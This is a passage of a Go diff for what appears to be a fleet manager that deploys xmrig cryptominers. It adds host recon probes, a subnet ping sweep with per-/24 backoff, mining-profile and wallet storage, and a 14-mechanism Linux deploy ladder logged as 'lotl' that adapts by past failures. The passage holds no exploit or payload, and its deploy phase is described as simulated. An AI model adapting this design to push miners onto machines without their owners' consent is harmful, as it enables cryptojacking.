gpu vendor in key %q", key) + } + if want := "podman"; !containsPart(key, want) { + t.Fatalf("expected runtime in key %q", key) + } + + // Stable for same inputs + key2 := PhenotypeFromRecon(report) + if key != key2 { + t.Fatalf("phenotype not stable: %q vs %q", key, key2) + } +} + +func TestAdaptiveOrderAndAtlas(t *testing.T) { + conn, err := db.Open(t.TempDir() + "/test.db") + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + store := NewStore(conn) + ctx := context.Background() + pheno := "6.8|x86_64|baremetal|nvidia|podman" + + if err := store.RecordFailure(ctx, pheno, 4); err != nil { + t.Fatal(err) + } + if err := store.RecordFailure(ctx, pheno, 4); err != nil { + t.Fatal(err) + } + skip, err := store.ShouldSkipTier(ctx, pheno, 4) + if err != nil { + t.Fatal(err) + } + if skip { + t.Fatal("should not skip before threshold") + } + + if err := store.RecordFailure(ctx, pheno, 4); err != nil { + t.Fatal(err) + } + skip, _ = store.ShouldSkipTier(ctx, pheno, 4) + if !skip { + t.Fatal("expected atlas skip after 3 failures") + } + + if err := store.RecordWin(ctx, pheno, 7); err != nil { + t.Fatal(err) + } + order, err := store.GetAdaptiveOrder(ctx, pheno) + if err != nil { + t.Fatal(err) + } + if len(order) != 14 { + t.Fatalf("expected 14 tiers, got %d", len(order)) + } + if order[0] != 7 { + t.Fatalf("winning tier 7 should be first, got %v", order) + } +} + +func containsPart(s, part string) bool { + for i := 0; i <= len(s)-len(part); i++ { + if s[i:i+len(part)] == part { + return true + } + } + return false +} diff --git a/internal/fleet/policy_snapshot.go b/internal/fleet/policy_snapshot.go new file mode 100644 index 0000000..591d62a --- /dev/null +++ b/internal/fleet/policy_snapshot.go @@ -0,0 +1,91 @@ +package fleet + +import ( + "crypto/rand" + "database/sql" + "encoding/hex" + "encoding/json" + "fmt" + "time" +) + +// PolicySnapshot is a shareable frozen policy bundle. +type PolicySnapshot struct { + Token string `json:"token"` + PolicyJSON json.RawMessage `json:"policy_json"` + ExpiresAt string `json:"expires_at,omitempty"` + CreatedAt string `json:"created_at"` +} + +// CreatePolicySnapshot stores a policy JSON blob and returns an opaque token. +func (s *Store) CreatePolicySnapshot(policy map[string]any, ttl time.Duration) (*PolicySnapshot, error) { + raw, err := json.Marshal(policy) + if err != nil { + return nil, fmt.Errorf("marshal policy: %w", err) + } + + token, err := randomToken(16) + if err != nil { + return nil, err + } + + now := time.Now().UTC() + expires := "" + if ttl > 0 { + expires = now.Add(ttl).Format(time.RFC3339) + } + + _, err = s.db.Exec(` + INSERT INTO policy_snapshots (token, policy_json, expires_at, created_at) + VALUES (?, ?, ?, ?) + `, token, string(raw), nullIfEmpty(expires), now.Format(time.RFC3339)) + if err != nil { + return nil, fmt.Errorf("insert policy snapshot: %w", err) + } + + return &PolicySnapshot{ + Token: token, + PolicyJSON: raw, + ExpiresAt: expires, + CreatedAt: now.Format(time.RFC3339), + }, nil +} + +// GetPolicySnapshot loads a snapshot by token (public summon link). +func (s *Store) GetPolicySnapshot(token string) (*PolicySnapshot, error) { + row := s.db.QueryRow(` + SELECT token, policy_json, expires_at, created_at + FROM policy_snapshots WHERE token = ? + `, token) + + var snap PolicySnapshot + var expires sql.NullString + var created string + if err := row.Scan(&snap.Token, &snap.PolicyJSON, &expires, &created); err != nil { + return nil, err + } + if expires.Valid { + snap.ExpiresAt = expires.String + t, err := time.Parse(time.RFC3339, expires.String) + if err == nil && time.Now().After(t) { + return nil, sql.ErrNoRows + } + } + snap.CreatedAt = created + return &snap, nil +} + +func randomToken(n int) (string, error) { + b := make([]byte, n) + if _, err := rand.Read(b); err != nil { + return "", err + } + return hex.EncodeToString(b), nil +} + +func nullIfEmpty(s string) sql.NullString { + if s == "" { + return sql.NullString{} + } + return sql.NullString{String: s, Valid: true} +} diff --git a/internal/fleet/recon.go b/internal/fleet/recon.go new file mode 100644 index 0000000..9e86f95 --- /dev/null +++ b/internal/fleet/recon.go @@ -0,0 +1,151 @@ +package fleet + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" +) + +// ReconReport holds read-only host capability probes for triple-onion deploy. +type ReconReport struct { + Kernel string `json:"kernel"` + Arch string `json:"arch"` + CgroupsV2 bool `json:"cgroups_v2"` + PodmanAvailable bool `json:"podman_available"` + DockerAvailable bool `json:"docker_available"` + GPU GPUInfo `json:"gpu"` + Virt string `json:"virt,omitempty"` + ContainerRuntime string `json:"container_runtime,omitempty"` + Extra map[string]string `json:"extra,omitempty"` +} + +type GPUInfo struct { + Available bool `json:"available"` + Vendor string `json:"vendor,omitempty"` + Devices []string `json:"devices,omitempty"` +} + +// RunRecon executes read-only probes: kernel, cgroups, podman, GPU. +func RunRecon() (*ReconReport, error) { + report := &ReconReport{Extra: map[string]string{}} + + if out, err := exec.Command("uname", "-r").Output(); err == nil { + report.Kernel = strings.TrimSpace(string(out)) + } + if out, err := exec.Command("uname", "-m").Output(); err == nil { + report.Arch = strings.TrimSpace(string(out)) + } + + report.CgroupsV2 = probeCgroupsV2() + report.PodmanAvailable = commandExists("podman") + report.DockerAvailable = commandExists("docker") + report.GPU = probeGPU() + report.Virt = probeVirt() + report.ContainerRuntime = detectContainerRuntime(report) + + return report, nil +} + +func probeCgroupsV2() bool { + data, err := os.ReadFile("/sys/fs/cgroup/cgroup.controllers") + if err != nil { + return false + } + return len(strings.TrimSpace(string(data))) > 0 +} + +func probeGPU() GPUInfo { + info := GPUInfo{} + if commandExists("nvidia-smi") { + if out, err := exec.Command("nvidia-smi", "-L").Output(); err == nil { + lines := strings.Split(strings.TrimSpace(string(out)), "\n") + for _, line := range lines { + if line != "" { + info.Devices = append(info.Devices, line) + } + } + if len(info.Devices) > 0 { + info.Available = true + info.Vendor = "nvidia" + } + } + } + if !info.Available && commandExists("rocm-smi") { + if _, err := exec.Command("rocm-smi", "--showid").Output(); err == nil { + info.Available = true + info.Vendor = "amd" + } + } + return info +} + +func probeVirt() string { + data, err := os.ReadFile("/sys/class/dmi/id/product_name") + if err != nil { + return "baremetal" + } + name := strings.ToLower(strings.TrimSpace(string(data))) + switch { + case strings.Contains(name, "vmware"), strings.Contains(name, "virtualbox"), + strings.Contains(name, "kvm"), strings.Contains(name, "qemu"): + return "vm" + default: + return "baremetal" + } +} + +func detectContainerRuntime(r *ReconReport) string { + if r.PodmanAvailable { + return "podman" + } + if r.DockerAvailable { + return "docker" + } + return "" +} + +func commandExists(name string) bool { + _, err := exec.LookPath(name) + return err == nil +} + +// PhenotypeFromRecon builds a stable fingerprint key from recon data. +func PhenotypeFromRecon(r *ReconReport) string { + gpu := "none" + if r.GPU.Available { + gpu = r.GPU.Vendor + } + rt := r.ContainerRuntime + if rt == "" { + rt = "none" + } + parts := []string{r.Arch, r.Virt, gpu, rt} + key := strings.Join(parts, "|") + // Normalize kernel major for grouping + if idx := strings.Index(r.Kernel, "."); idx > 0 { + key = r.Kernel[:idx] + "." + strings.Split(r.Kernel[idx+1:], ".")[0] + "|" + key + } + return key +} + +// ReconJSON serializes a recon report for lotl metadata. +func ReconJSON(r *ReconReport) string { + b, _ := json.Marshal(r) + return string(b) +} + +// ParseReconReport loads recon from JSON metadata. +func ParseReconReport(raw string) (*ReconReport, error) { + var r ReconReport + if err := json.Unmarshal([]byte(raw), &r); err != nil { + return nil, err + } + return &r, nil +} + +// HostReconPath returns optional cached recon file for a host. +func HostReconPath(dataDir, hostID string) string { + return filepath.Join(dataDir, "recon", hostID+".json") +} diff --git a/internal/fleet/store.go b/internal/fleet/store.go new file mode 100644 index 0000000..55a940e --- /dev/null +++ b/internal/fleet/store.go @@ -0,0 +1,219 @@ +package fleet + +import ( + "context" + "database/sql" + "encoding/json" + "fmt" + "time" + + "forge-mesh/internal/api/types" + + "github.com/google/uuid" +) + +// Store persists fleet host and mining profile state. +type Store struct { + db *sql.DB +} + +func NewStore(db *sql.DB) *Store { + return &Store{db: db} +} + +func (s *Store) UpsertHeartbeat(hb types.HeartbeatPayload) (*types.Host, error) { + hostID := hb.HostID + if hostID == "" { + hostID = uuid.NewString() + } + + hps := hb.EffectiveHashrate() + now := time.Now().UTC().Format(time.RFC3339) + + _, err := s.db.Exec(` + INSERT INTO hosts ( + id, hostname, fingerprint, status, hashrate, hashrate_hps, + current_tier, tier_type, tier_state, last_seen_at, updated_at + ) + VALUES (?, ?, ?, 'online', ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(id) DO UPDATE SET + hostname = excluded.hostname, + fingerprint = COALESCE(NULLIF(excluded.fingerprint, ''), hosts.fingerprint), + status = 'online', + hashrate = excluded.hashrate, + hashrate_hps = excluded.hashrate_hps, + current_tier = excluded.current_tier, + tier_type = excluded.tier_type, + tier_state = excluded.tier_state, + last_seen_at = excluded.last_seen_at, + updated_at = excluded.updated_at + `, hostID, hb.Hostname, hb.Fingerprint, hps, hps, + hb.CurrentTier, hb.TierType, hb.TierState, now, now) + if err != nil { + return nil, fmt.Errorf("upsert host: %w", err) + } + + return s.GetHost(hostID) +} + +func (s *Store) GetHost(id string) (*types.Host, error) { + row := s.db.QueryRow(` + SELECT id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps, + current_tier, tier_type, tier_state, clearance_level, + mining_profile_id, last_seen_at, created_at, updated_at + FROM hosts WHERE id = ? + `, id) + + return scanHost(row) +} + +func (s *Store) ListHosts() ([]types.Host, error) { + rows, err := s.db.Query(` + SELECT id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps, + current_tier, tier_type, tier_state, clearance_level, + mining_profile_id, last_seen_at, created_at, updated_at + FROM hosts ORDER BY updated_at DESC + `) + if err != nil { + return nil, fmt.Errorf("list hosts: %w", err) + } + defer rows.Close() + + var hosts []types.Host + for rows.Next() { + h, err := scanHost(rows) + if err != nil { + return nil, err + } + hosts = append(hosts, *h) + } + return hosts, rows.Err() +} + +func scanHost(scanner interface { + Scan(dest ...any) error +}) (*types.Host, error) { + var h types.Host + var fp, pheno, tierType, tierState, mpID, lastSeen sql.NullString + var createdAt, updatedAt string + + err := scanner.Scan( + &h.ID, &h.Hostname, &fp, &pheno, &h.Status, &h.Hashrate, &h.HashrateHps, + &h.CurrentTier, &tierType, &tierState, &h.ClearanceLevel, + &mpID, &lastSeen, &createdAt, &updatedAt, + ) + if err != nil { + return nil, fmt.Errorf("scan host: %w", err) + } + + if fp.Valid { + h.Fingerprint = fp.String + } + if pheno.Valid { + h.Phenotype = pheno.String + } + if tierType.Valid { + h.TierType = tierType.String + } + if tierState.Valid { + h.TierState = tierState.String + } + if mpID.Valid { + h.MiningProfileID = &mpID.String + } + if lastSeen.Valid { + t, _ := time.Parse(time.RFC3339, lastSeen.String) + h.LastSeenAt = &t + } + h.CreatedAt, _ = time.Parse(time.RFC3339, createdAt) + h.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt) + return &h, nil +} + +func (s *Store) MarkOffline(id string) error { + now := time.Now().UTC().Format(time.RFC3339) + _, err := s.db.Exec(`UPDATE hosts SET status = 'offline', updated_at = ? WHERE id = ?`, now, id) + return err +} + +func (s *Store) SaveMiningProfile(ctx context.Context, profile *types.MiningProfile) error { + tiersJSON, err := json.Marshal(profile.Tiers) + if err != nil { + return fmt.Errorf("marshal tiers: %w", err) + } + + policy := 0 + if profile.PolicyFromServer { + policy = 1 + } + + if profile.CreatedAt.IsZero() { + profile.CreatedAt = time.Now().UTC() + } + profile.UpdatedAt = time.Now().UTC() + + _, err = s.db.ExecContext(ctx, ` + INSERT INTO mining_profiles (id, name, wallet_address, tiers_json, policy_from_server, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(id) DO UPDATE SET + name = excluded.name, + wallet_address = excluded.wallet_address, + tiers_json = excluded.tiers_json, + policy_from_server = excluded.policy_from_server, + updated_at = excluded.updated_at + `, profile.ID, profile.Name, profile.WalletAddress, string(tiersJSON), policy, + profile.CreatedAt.UTC().Format(time.RFC3339), profile.UpdatedAt.UTC().Format(time.RFC3339)) + return err +} + +func (s *Store) GetMiningProfile(ctx context.Context, id string) (*types.MiningProfile, error) { + row := s.db.QueryRowContext(ctx, ` + SELECT id, name, wallet_address, tiers_json, policy_from_server, created_at, updated_at + FROM mining_profiles WHERE id = ? + `, id) + + var p types.MiningProfile + var tiersJSON, created, updated sql.NullString + var policy int + + if err := row.Scan(&p.ID, &p.Name, &p.WalletAddress, &tiersJSON, &policy, &created, &updated); err != nil { + return nil, fmt.Errorf("get mining profile: %w", err) + } + if tiersJSON.Valid { + _ = json.Unmarshal([]byte(tiersJSON.String), &p.Tiers) + } + p.PolicyFromServer = policy == 1 + if created.Valid { + p.CreatedAt, _ = time.Parse(time.RFC3339, created.String) + } + if updated.Valid { + p.UpdatedAt, _ = time.Parse(time.RFC3339, updated.String) + } + return &p, nil +} + +func (s *Store) AssignMiningProfile(ctx context.Context, hostID, profileID string) error { + now := time.Now().UTC().Format(time.RFC3339) + res, err := s.db.ExecContext(ctx, ` + UPDATE hosts SET mining_profile_id = ?, updated_at = ? WHERE id = ? + `, profileID, now, hostID) + if err != nil { + return err + } + n, _ := res.RowsAffected() + if n == 0 { + return sql.ErrNoRows + } + return nil +} + +func (s *Store) GetHostMiningProfile(ctx context.Context, hostID string) (*types.MiningProfile, error) { + host, err := s.GetHost(hostID) + if err != nil { + return nil, err + } + if host.MiningProfileID == nil || *host.MiningProfileID == "" { + return nil, sql.ErrNoRows + } + return s.GetMiningProfile(ctx, *host.MiningProfileID) +} diff --git a/internal/fleet/store_test.go b/internal/fleet/store_test.go new file mode 100644 index 0000000..04d41aa --- /dev/null +++ b/internal/fleet/store_test.go @@ -0,0 +1,96 @@ +package fleet + +import ( + "context" + "testing" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/db" +) + +func TestStoreUpsertHeartbeat(t *testing.T) { + conn, err := db.Open(t.TempDir() + "/test.db") + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + store := NewStore(conn) + host, err := store.UpsertHeartbeat(types.HeartbeatPayload{ + Hostname: "test-host", + HashrateHps: 1234.5, + CurrentTier: 2, + TierType: "xmrig", + TierState: "active", + Arch: "amd64", + }) + if err != nil { + t.Fatal(err) + } + if host.ID == "" { + t.Fatal("expected host id") + } + if host.HashrateHps != 1234.5 { + t.Fatalf("hashrate_hps: got %v", host.HashrateHps) + } + if host.CurrentTier != 2 { + t.Fatalf("current_tier: got %d", host.CurrentTier) + } + + host2, err := store.UpsertHeartbeat(types.HeartbeatPayload{ + HostID: host.ID, + Hostname: "test-host", + HashrateHps: 5000, + CurrentTier: 3, + TierType: "gpu", + TierState: "probing", + }) + if err != nil { + t.Fatal(err) + } + if host2.HashrateHps != 5000 { + t.Fatalf("hashrate: got %v", host2.HashrateHps) + } + if host2.CurrentTier != 3 { + t.Fatalf("tier: got %d", host2.CurrentTier) + } +} + +func TestMiningProfileRoundTrip(t *testing.T) { + conn, err := db.Open(t.TempDir() + "/test.db") + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + store := NewStore(conn) + host, err := store.UpsertHeartbeat(types.HeartbeatPayload{Hostname: "miner-1"}) + if err != nil { + t.Fatal(err) + } + + profile := &types.MiningProfile{ + ID: "prof-1", + Name: "test", + WalletAddress: "wallet-pin-xyz", + Tiers: []types.MiningTierSpec{ + {Type: "xmrig", Duration: 5}, + }, + PolicyFromServer: true, + } + ctx := context.Background() + if err := store.SaveMiningProfile(ctx, profile); err != nil { + t.Fatal(err) + } + if err := store.AssignMiningProfile(ctx, host.ID, profile.ID); err != nil { + t.Fatal(err) + } + + got, err := store.GetHostMiningProfile(ctx, host.ID) + if err != nil { + t.Fatal(err) + } + if got.WalletAddress != "wallet-pin-xyz" { + t.Fatalf("wallet: %q", got.WalletAddress) + } +} diff --git a/internal/fleet/subnet.go b/internal/fleet/subnet.go new file mode 100644 index 0000000..82f2b41 --- /dev/null +++ b/internal/fleet/subnet.go @@ -0,0 +1,246 @@ +package fleet + +import ( + "context" + "crypto/rand" + "encoding/hex" + "fmt" + "net" + "os/exec" + "strings" + "sync" + "time" +) + +const immuneFailureThreshold = 5 +const immunePauseDuration = 24 * time.Hour + +// SubnetMapper sweeps operator-declared CIDRs with /24 immune pause after failures. +type SubnetMapper struct { + Store *Store + mu sync.Mutex +} + +// SubnetCIDR is an operator-declared scan target. +type SubnetCIDR struct { + ID string `json:"id"` + CIDR string `json:"cidr"` + Enabled bool `json:"enabled"` + LastScanAt *time.Time `json:"last_scan_at,omitempty"` +} + +// AddCIDR registers a CIDR for incremental discovery. +func (m *SubnetMapper) AddCIDR(ctx context.Context, cidr string) (*SubnetCIDR, error) { + if _, _, err := net.ParseCIDR(cidr); err != nil { + return nil, fmt.Errorf("invalid cidr: %w", err) + } + id := randomHex(16) + _, err := m.Store.DB().ExecContext(ctx, ` + INSERT INTO subnet_cidrs (id, cidr, enabled) VALUES (?, ?, 1)`, id, cidr) + if err != nil { + return nil, err + } + return &SubnetCIDR{ID: id, CIDR: cidr, Enabled: true}, nil +} + +// ListCIDRs returns declared subnets. +func (m *SubnetMapper) ListCIDRs(ctx context.Context) ([]SubnetCIDR, error) { + rows, err := m.Store.DB().QueryContext(ctx, ` + SELECT id, cidr, enabled, last_scan_at FROM subnet_cidrs ORDER BY created_at`) + if err != nil { + return nil, err + } + defer rows.Close() + var out []SubnetCIDR + for rows.Next() { + var s SubnetCIDR + var enabled int + var lastScan sqlNullTime + if err := rows.Scan(&s.ID, &s.CIDR, &enabled, &lastScan); err != nil { + return nil, err + } + s.Enabled = enabled == 1 + if lastScan.Valid { + s.LastScanAt = &lastScan.Time + } + out = append(out, s) + } + return out, rows.Err() +} + +type sqlNullTime struct { + Valid bool + Time time.Time +} + +func (n *sqlNullTime) Scan(src interface{}) error { + if src == nil { + n.Valid = false + return nil + } + switch v := src.(type) { + case string: + if v == "" { + n.Valid = false + return nil + } + t, err := time.Parse("2006-01-02 15:04:05", v) + if err != nil { + return err + } + n.Time = t + n.Valid = true + case []byte: + return n.Scan(string(v)) + } + return nil +} + +// ScanResult holds hosts discovered in a sweep. +type ScanResult struct { + CIDR string `json:"cidr"` + Prefix string `json:"prefix_24"` + Alive []string `json:"alive"` + Skipped bool `json:"skipped"` + Reason string `json:"reason,omitempty"` +} + +// SweepCIDR pings hosts in a CIDR unless /24 is immune-paused. +func (m *SubnetMapper) SweepCIDR(ctx context.Context, cidr string) (*ScanResult, error) { + ip, ipNet, err := net.ParseCIDR(cidr) + if err != nil { + return nil, err + } + + prefix24 := prefixOf24(ip) + if paused, reason := m.isImmunePaused(ctx, prefix24); paused { + return &ScanResult{CIDR: cidr, Prefix: prefix24, Skipped: true, Reason: reason}, nil + } + + alive, sweepErr := pingSweep(ctx, ipNet) + if sweepErr != nil { + _ = m.recordSubnetFailure(ctx, prefix24) + return &ScanResult{CIDR: cidr, Prefix: prefix24, Alive: alive}, sweepErr + } + + _, _ = m.Store.DB().ExecContext(ctx, ` + UPDATE subnet_cidrs SET last_scan_at = datetime('now') WHERE cidr = ?`, cidr) + + return &ScanResult{CIDR: cidr, Prefix: prefix24, Alive: alive}, nil +} + +// SweepAll runs enabled CIDRs sequentially. +func (m *SubnetMapper) SweepAll(ctx context.Context) ([]ScanResult, error) { + cidrs, err := m.ListCIDRs(ctx) + if err != nil { + return nil, err + } + var results []ScanResult + for _, c := range cidrs { + if !c.Enabled { + continue + } + r, err := m.SweepCIDR(ctx, c.CIDR) + if err != nil { + return results, err + } + results = append(results, *r) + } + return results, nil +} + +func prefixOf24(ip net.IP) string { + v4 := ip.To4() + if v4 == nil { + return ip.String() + "/64" + } + return fmt.Sprintf("%d.%d.%d.0/24", v4[0], v4[1], v4[2]) +} + +func (m *SubnetMapper) isImmunePaused(ctx context.Context, prefix string) (bool, string) { + var count int + var pausedUntil sqlNullTime + err := m.Store.DB().QueryRowContext(ctx, ` + SELECT failure_count, paused_until FROM subnet_immune WHERE prefix = ?`, prefix). + Scan(&count, &pausedUntil) + if err != nil { + return false, "" + } + if pausedUntil.Valid && time.Now().Before(pausedUntil.Time) { + return true, fmt.Sprintf("/24 immune pause until %s", pausedUntil.Time.Format(time.RFC3339)) + } + return false, "" +} + +func (m *SubnetMapper) recordSubnetFailure(ctx context.Context, prefix string) error { + m.mu.Lock() + defer m.mu.Unlock() + + var count int + _ = m.Store.DB().QueryRowContext(ctx, `SELECT failure_count FROM subnet_immune WHERE prefix = ?`, prefix).Scan(&count) + count++ + + pausedUntil := "" + if count >= immuneFailureThreshold { + until := time.Now().Add(immunePauseDuration) + pausedUntil = until.Format("2006-01-02 15:04:05") + } + + _, err := m.Store.DB().ExecContext(ctx, ` + INSERT INTO subnet_immune (prefix, failure_count, paused_until, updated_at) + VALUES (?, ?, ?, datetime('now')) + ON CONFLICT(prefix) DO UPDATE SET + failure_count = excluded.failure_count, + paused_until = excluded.paused_until, + updated_at = datetime('now')`, + prefix, count, nullStringOrNil(pausedUntil)) + return err +} + +func nullStringOrNil(s string) interface{} { + if s == "" { + return nil + } + return s +} + +func pingSweep(ctx context.Context, ipNet *net.IPNet) ([]string, error) { + var alive []string + ip := ipNet.IP.Mask(ipNet.Mask) + for ip := incrementIP(ip); ipNet.Contains(ip); ip = incrementIP(ip) { + select { + case <-ctx.Done(): + return alive, ctx.Err() + default: + } + if pingHost(ip.String()) { + alive = append(alive, ip.String()) + } + } + return alive, nil +} + +func pingHost(host string) bool { + out, err := exec.Command("ping", "-c", "1", "-W", "1", host).CombinedOutput() + if err != nil { + return false + } + return strings.Contains(string(out), "1 received") || strings.Contains(string(out), "1 packets received") +} + +func incrementIP(ip net.IP) net.IP { + ip = ip.To16() + for i := len(ip) - 1; i >= 0; i-- { + ip[i]++ + if ip[i] != 0 { + break + } + } + return ip +} + +func randomHex(n int) string { + b := make([]byte, n) + _, _ = rand.Read(b) + return hex.EncodeToString(b) +} diff --git a/internal/fleet/summary.go b/internal/fleet/summary.go new file mode 100644 index 0000000..8f5985d --- /dev/null +++ b/internal/fleet/summary.go @@ -0,0 +1,181 @@ +package fleet + +import ( + "fmt" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/policy" + + "github.com/google/uuid" +) + +// FleetSummary aggregates fleet stats for the dashboard API. +type FleetSummary struct { + Hosts []FleetHostCard `json:"hosts"` + TotalHashrate float64 `json:"totalHashrate"` + OnlineCount int `json:"onlineCount"` +} + +// FleetHostCard is the dashboard-facing host shape (matches React types). +type FleetHostCard struct { + ID string `json:"id"` + Hostname string `json:"hostname"` + IP string `json:"ip"` + Arch string `json:"arch"` + Hashrate float64 `json:"hashrate"` + Tier int `json:"tier"` + TierName string `json:"tierName"` + TierState string `json:"tierState"` + Algo string `json:"algo"` + UptimeSec int `json:"uptimeSec"` + LastSeen string `json:"lastSeen"` + Clearance int `json:"clearance"` + Online bool `json:"online"` +} + +// ToFleetCard converts a DB host to a dashboard card. +func ToFleetCard(h *types.Host) FleetHostCard { + if h == nil { + return FleetHostCard{} + } + + hps := h.HashrateHps + if hps == 0 { + hps = h.Hashrate + } + + online := h.Status == "online" || h.Status == "mining" || h.Status == "paused" + tier := h.CurrentTier + if tier == 0 { + tier = 2 + } + tierName := policy.TierDisplayName(h.TierType) + if tierName == "" || tierName == h.TierType { + tierName = "Bundled xmrig" + } + tierState := h.TierState + if tierState == "" { + switch h.Status { + case "mining": + tierState = "active" + case "probing": + tierState = "probing" + case "paused": + tierState = "paused" + case "offline": + tierState = "idle" + online = false + default: + tierState = "idle" + } + } + + arch := h.Phenotype + if arch == "" { + arch = "linux/amd64" + } + + lastSeen := "" + if h.LastSeenAt != nil { + lastSeen = h.LastSeenAt.UTC().Format(time.RFC3339) + } + + return FleetHostCard{ + ID: h.ID, + Hostname: h.Hostname, + IP: coalesceIP(h.Fingerprint), + Arch: arch, + Hashrate: hps, + Tier: tier, + TierName: tierName, + TierState: tierState, + Algo: "rx/0", + UptimeSec: 0, + LastSeen: lastSeen, + Clearance: h.ClearanceLevel, + Online: online, + } +} + +func coalesceIP(fp string) string { + if fp == "" { + return "—" + } + return fp +} + +// BuildFleetSummary builds the GET /api/v1/fleet response. +func (s *Store) BuildFleetSummary() (FleetSummary, error) { + hosts, err := s.ListHosts() + if err != nil { + return FleetSummary{}, err + } + + summary := FleetSummary{Hosts: make([]FleetHostCard, 0, len(hosts))} + for i := range hosts { + card := ToFleetCard(&hosts[i]) + summary.Hosts = append(summary.Hosts, card) + if card.Online { + summary.OnlineCount++ + summary.TotalHashrate += card.Hashrate + } + } + return summary, nil +} + +// SeedDemoHost inserts a demo host when fleet is empty. +func (s *Store) SeedDemoHost() error { + hosts, err := s.ListHosts() + if err != nil { + return err + } + if len(hosts) > 0 { + return nil + } + id := uuid.NewString() + now := time.Now().UTC().Format(time.RFC3339) + _, err = s.db.Exec(` + INSERT INTO hosts (id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps, + current_tier, tier_type, tier_state, clearance_level, last_seen_at, created_at, updated_at) + VALUES (?, 'forge-node-alpha', '10.0.1.12', 'linux/amd64', 'mining', 18200000, 18200000, + 2, 'xmrig', 'active', 2, ?, ?, ?)`, + id, now, now, now) + return err +} + +// TouchHost enrolls or refreshes a host from the register API. +func (s *Store) TouchHost(hostname, fingerprint, arch string) (*types.Host, error) { + phenotype := "" + if arch != "" { + phenotype = "linux/" + arch + } + hb := types.HeartbeatPayload{ + Hostname: hostname, + Fingerprint: fingerprint, + Arch: arch, + TierState: "idle", + } + hb.SetHashrateFields(0) + host, err := s.UpsertHeartbeat(hb) + if err != nil { + return nil, err + } + if phenotype != "" { + now := time.Now().UTC().Format(time.RFC3339) + _, _ = s.db.Exec(`UPDATE hosts SET phenotype = ?, updated_at = ? WHERE id = ?`, + phenotype, now, host.ID) + return s.GetHost(host.ID) + } + return host, nil +} + +// SetHostStatus updates host status. +func (s *Store) SetHostStatus(id, status string) error { + now := time.Now().UTC().Format(time.RFC3339) + _, err := s.db.Exec(`UPDATE hosts SET status = ?, updated_at = ? WHERE id = ?`, status, now, id) + return err +} + +// ErrNotFound indicates a missing host. +var ErrNotFound = fmt.Errorf("host not found") diff --git a/internal/fleet/tiers.go b/internal/fleet/tiers.go new file mode 100644 index 0000000..d366875 --- /dev/null +++ b/internal/fleet/tiers.go @@ -0,0 +1,189 @@ +package fleet + +import ( + "context" + "fmt" + "time" +) + +// TierType identifies one of 14 Linux deploy mechanisms. +type TierType string + +const ( + TierSSHKey TierType = "ssh_key" + TierCurlBash TierType = "curl_bash" + TierAnsiblePull TierType = "ansible_pull" + TierPodmanRootless TierType = "podman_rootless" + TierSystemdTransient TierType = "systemd_transient" + TierSnapFlatpak TierType = "snap_flatpak" + TierLANCachePeer TierType = "lan_cache_peer" + TierDNSTXT TierType = "dns_txt" + TierMTLSWireGuard TierType = "mtls_wireguard" + TierImmutableOCI TierType = "immutable_oci" + TierNixFlake TierType = "nix_flake" + TierErasureReasm TierType = "erasure_reassembly" + TierFleetTorrent TierType = "fleet_torrent" + TierOfflineBundle TierType = "offline_contingency" +) + +// DefaultTierOrder returns the canonical 14-tier Linux deploy sequence. +func DefaultTierOrder() []TierType { + return []TierType{ + TierSSHKey, + TierCurlBash, + TierAnsiblePull, + TierPodmanRootless, + TierSystemdTransient, + TierSnapFlatpak, + TierLANCachePeer, + TierDNSTXT, + TierMTLSWireGuard, + TierImmutableOCI, + TierNixFlake, + TierErasureReasm, + TierFleetTorrent, + TierOfflineBundle, + } +} + +// TierSlot maps 1-based tier index to type. +func TierSlot(n int) (TierType, error) { + order := DefaultTierOrder() + if n < 1 || n > len(order) { + return "", fmt.Errorf("tier %d out of range 1-%d", n, len(order)) + } + return order[n-1], nil +} + +// TierExecutor runs deploy phases for a single tier. +type TierExecutor struct { + Store *Store + HostID string + Report *ReconReport +} + +// TierResult captures outcome of a tier attempt. +type TierResult struct { + Tier int `json:"tier"` + Type TierType `json:"type"` + Phase string `json:"phase"` + Status string `json:"status"` + Error string `json:"error,omitempty"` + Elapsed time.Duration `json:"elapsed_ms"` +} + +// ExecuteTier runs recon → patch_first gate → deploy for one tier slot. +func (e *TierExecutor) ExecuteTier(ctx context.Context, tierNum int) (*TierResult, error) { + tierType, err := TierSlot(tierNum) + if err != nil { + return nil, err + } + + start := time.Now() + result := &TierResult{Tier: tierNum, Type: tierType, Phase: "recon", Status: "running"} + + if e.Store != nil && e.Report != nil { + phenotype := PhenotypeFromRecon(e.Report) + if skip, _ := e.Store.ShouldSkipTier(ctx, phenotype, tierNum); skip { + result.Phase = "atlas_skip" + result.Status = "skipped" + _ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "atlas_skip", "skipped", "failure atlas immune", ReconJSON(e.Report)) + return result, nil + } + } + + // Recon phase (read-only, already done at executor init) + _ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "recon", "success", "", ReconJSON(e.Report)) + + // Patch-first gate + result.Phase = "patch_first" + if !e.passPatchGate(tierType) { + result.Status = "skipped" + result.Error = "patch_first gate failed" + _ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "patch_first", "skipped", result.Error, "") + _ = e.Store.RecordFailure(ctx, PhenotypeFromRecon(e.Report), tierNum) + return result, nil + } + _ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "patch_first", "success", "", "") + + // Deploy phase (simulated success paths per tier capability) + result.Phase = "deploy" + deployErr := e.deploy(ctx, tierType) + if deployErr != nil { + result.Status = "failed" + result.Error = deployErr.Error() + _ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "deploy", "failed", result.Error, "") + _ = e.Store.RecordFailure(ctx, PhenotypeFromRecon(e.Report), tierNum) + } else { + result.Status = "success" + _ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "deploy", "success", "", "") + _ = e.Store.RecordWin(ctx, PhenotypeFromRecon(e.Report), tierNum) + } + + result.Elapsed = 